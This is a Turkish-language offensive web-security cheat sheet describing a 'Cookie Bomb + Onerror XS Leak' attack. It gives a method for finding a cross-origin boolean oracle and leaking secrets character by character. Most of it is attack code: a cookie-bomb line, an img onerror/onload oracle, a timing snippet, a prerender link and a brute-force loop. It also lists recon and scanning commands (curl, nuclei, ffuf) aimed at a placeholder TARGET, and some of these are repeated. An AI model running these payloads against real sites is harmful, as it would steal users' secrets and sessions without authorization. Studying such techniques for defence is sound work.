Cookie Bomb + Onerror XS Leak

web offensive

Cookie Bomb + Onerror XS Leak web saldırı yüzeyidir. Giriş noktalarını izole edip kanıtlanabilir etki (okuma, yazma, RCE, auth bypass) üretmeye odaklan.

Metodoloji

1. Çapraz origin boolean oracle adayını bul.

2. Timing/error/CSS/connection kanalını kalibre et.

3. Karakter karakter sızıntıyı otomatize et.

4. Sızan secret ile oturum etkisini bağla.

XS-Leak fikri

Çapraz origin’de doğrudan DOM okunamaz; yan kanal ile boolean sızıntı aranır.

const t0 = performance.now(); await frame.load(url); const dt = performance.now()-t0;

<link rel=prerender href='https://TARGET/search?q=secret'>

Cookie bomb + onerror

document.cookie='x='+'A'.repeat(4000)+'; path=/'

<img src='https://TARGET/search?q=a' onerror='leak(true)' onload='leak(false)'>

Oracle döngüsü

async function oracle(q){ /* timing/error/frame */ return bool }

for (const c of charset) if (await oracle(prefix+c)) prefix+=c

python3 xsleak.py --target https://TARGET/search --param q

Operasyon notları

Cookie Bomb + Onerror XS Leak sonuçları hedef sürüme ve yığına göre değişir. Her başarılı adımı request/response ile kaydet; sonraki pivot’u not et.

Ek komutlar

curl -sk https://TARGET/robots.txt

nuclei -u https://TARGET -as -silent

ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403

GET / HTTP/1.1
Host: TARGET
Accept: */*

mkdir -p evidence/web && tee evidence/web/notes.txt

Bu ekler keşif ve kanıt paketini hızlandırır; asıl sömürü üstteki bölümlerdeki konu-özel payload’larla yapılır.

Ek keşif komutları

curl -sk https://TARGET/robots.txt

curl -sk https://TARGET/sitemap.xml

ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403

nuclei -u https://TARGET -as -silent

GET / HTTP/1.1
Host: TARGET
Accept: */*

Kanıt toplama

mkdir -p evidence/web && tee evidence/web/notes.txt

request/response
zaman damgası
kullanılan hesap
etki özeti

curl -sk https://TARGET/ -D evidence/web/headers.txt -o evidence/web/body.html